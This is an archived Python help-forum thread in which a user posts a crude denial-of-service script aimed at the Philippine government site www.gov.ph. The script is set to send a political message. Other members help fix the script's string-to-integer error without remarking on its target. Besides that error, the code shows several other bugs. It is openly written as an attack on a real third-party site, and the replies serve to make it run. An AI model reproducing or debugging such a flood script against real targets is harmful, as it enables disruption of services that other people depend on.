Error in python

A forum for general discussion of the Python programming language.

Error in python

Postby emorfa » Fri Feb 07, 2014 4:07 pm

Hi guys, I'm testing this script for educational purpose, but i getting this error that i don't understand can someone help to find out the mistake. the error said that "srt" object can not be interpreted as integer.

thanks.
Code: Select all
# -*- coding: utf-8 -*-
import time, socket, os, sys, string
 
print ("DDoS mode loaded")
host='www.gov.ph'
port="80"
message="#Philippine is murder. "
conn=input( "How many connections you want to make:" )
ip = socket.gethostbyname( host )
 
def dos():
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( "GET /%s HTTP/1.1\r\n" % message )
        ddos.sendto( "GET /%s HTTP/1.1\r\n" % message, (ip, port) )
        ddos.send( "GET /%s HTTP/1.1\r\n" % message )
    except socket.error. msg:
        print("|[Connection Failed]  |")
    print ( "|[DDoS Attack Engaged]       |")
    ddos.close()
 
for i in range(conn):
    dos()
Last edited by metulburr on Fri Feb 07, 2014 4:17 pm, edited 1 time in total.
Reason: first post lock, added code tags
emorfa
 
Posts: 3
Joined: Fri Feb 07, 2014 3:26 pm

Re: Error in python

Postby stranac » Fri Feb 07, 2014 4:20 pm

It probably said 'str'...
But you should post your entire error here, in code tags.

You should read this to learn how to use them:
viewtopic.php?t=145
Friendship is magic!

R.I.P. Tracy M. You will be missed.
User avatar
stranac
 
Posts: 1093
Joined: Thu Feb 07, 2013 3:42 pm

Re: Error in python

Postby Yoriz » Fri Feb 07, 2014 4:20 pm

Code: Select all
conn=input( "How many connections you want to make:" )
returns a str
You need to change the str into a int.
Code: Select all
for i in range(int(conn)):
New Users, Read This
Join the #python-forum IRC channel on irc.freenode.net!
Spam topic disapproval technician
Windows7, Python 2.7.4., WxPython 2.9.5.0., some Python 3.3
User avatar
Yoriz
 
Posts: 725
Joined: Fri Feb 08, 2013 1:35 am
Location: UK

Re: Error in python

Postby emorfa » Fri Feb 07, 2014 4:42 pm

Ye i know, how i can change it , im new in python

Thanks,
emorfa
 
Posts: 3
Joined: Fri Feb 07, 2014 3:26 pm

Re: Error in python

Postby Yoriz » Fri Feb 07, 2014 4:45 pm

You dont need to know python to copy and paste.
New Users, Read This
Join the #python-forum IRC channel on irc.freenode.net!
Spam topic disapproval technician
Windows7, Python 2.7.4., WxPython 2.9.5.0., some Python 3.3
User avatar
Yoriz
 
Posts: 725
Joined: Fri Feb 08, 2013 1:35 am
Location: UK

Re: Error in python

Postby emorfa » Fri Feb 07, 2014 4:45 pm

Traceback (most recent call last):
File "C:/Python33/ddos.py", line 24, in <module>
for i in range(conn):
TypeError: 'str' object cannot be interpreted as an integer
emorfa
 
Posts: 3
Joined: Fri Feb 07, 2014 3:26 pm

Re: Error in python

Postby metulburr » Fri Feb 07, 2014 9:13 pm

Code: Select all
conn=input( "How many connections you want to make:" )

conn is of type string and not integar. input() returns a string. range() takes an int. Convert it to an int first via the built in method int()
New Users, Read This
OS Ubuntu 14.04, Arch Linux, Gentoo, Windows 7/8
https://github.com/metulburr
steam
User avatar
metulburr
 
Posts: 1319
Joined: Thu Feb 07, 2013 4:47 pm
Location: Elmira, NY

Re: Error in python

Postby Yoriz » Fri Feb 07, 2014 9:17 pm

The answer is already in my post, the op failed at copying and pasting it into there own code.
New Users, Read This
Join the #python-forum IRC channel on irc.freenode.net!
Spam topic disapproval technician
Windows7, Python 2.7.4., WxPython 2.9.5.0., some Python 3.3
User avatar
Yoriz
 
Posts: 725
Joined: Fri Feb 08, 2013 1:35 am
Location: UK

Re: Error in python

Postby metulburr » Fri Feb 07, 2014 9:25 pm

The answer is already in my post, the op failed at copying and pasting it into there own code.

oh, i totally bypassed that, lol
New Users, Read This
OS Ubuntu 14.04, Arch Linux, Gentoo, Windows 7/8
https://github.com/metulburr
steam
User avatar
metulburr
 
Posts: 1319
Joined: Thu Feb 07, 2013 4:47 pm
Location: Elmira, NY


Return to General Discussions

Who is online

Users browsing this forum: No registered users and 3 guests